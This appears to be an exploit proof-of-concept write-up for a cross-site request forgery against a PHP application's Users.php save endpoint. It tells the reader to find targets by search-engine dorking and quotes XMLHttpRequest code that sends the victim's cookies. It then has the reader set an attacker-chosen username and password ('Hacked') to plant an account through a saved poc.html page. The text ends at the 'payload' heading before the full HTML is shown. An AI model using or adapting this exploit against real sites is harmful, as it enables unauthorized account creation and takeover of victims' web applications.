poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] The following JavaScript code :
creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points:
[+] Create an XMLHttpRequest object:
xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server.
[+] Open the request:
xhr.open("POST", "http://127.0.0.1/php-lfis/classes/Users.php?f=save", true); Opens a connection to the specified URL (in this case, a local server)
using the HTTP method "POST".
[+] Set the request headers:
xhr.setRequestHeader("Accept", "*/*"); Specifies that the request accepts any type of response.
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); Specifies that the request accepts responses in English.
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------"); Specifies the content type of the request
as multipart/form-data with specified boundaries.
[+] Enable sending cookies:
xhr.withCredentials = true; Specifies that cookies should be sent with the request.
[+] Setting up the request data:
The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type.
This string is converted to a Uint8Array and then to a Blob to be sent.
[+] Sending the request:
xhr.send(new Blob([aBody])); Sends the data to the server.
[+] User Interface:
There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request.
[+] Go to the line 6. Set the target site link Save changes and apply .
[+] infected file : Users.php.
[+] Line 15 : Choose a name "indoushka".
[+] Line 19 : Choose a pass "Hacked".
[+] save code as poc.html
[+] payload :
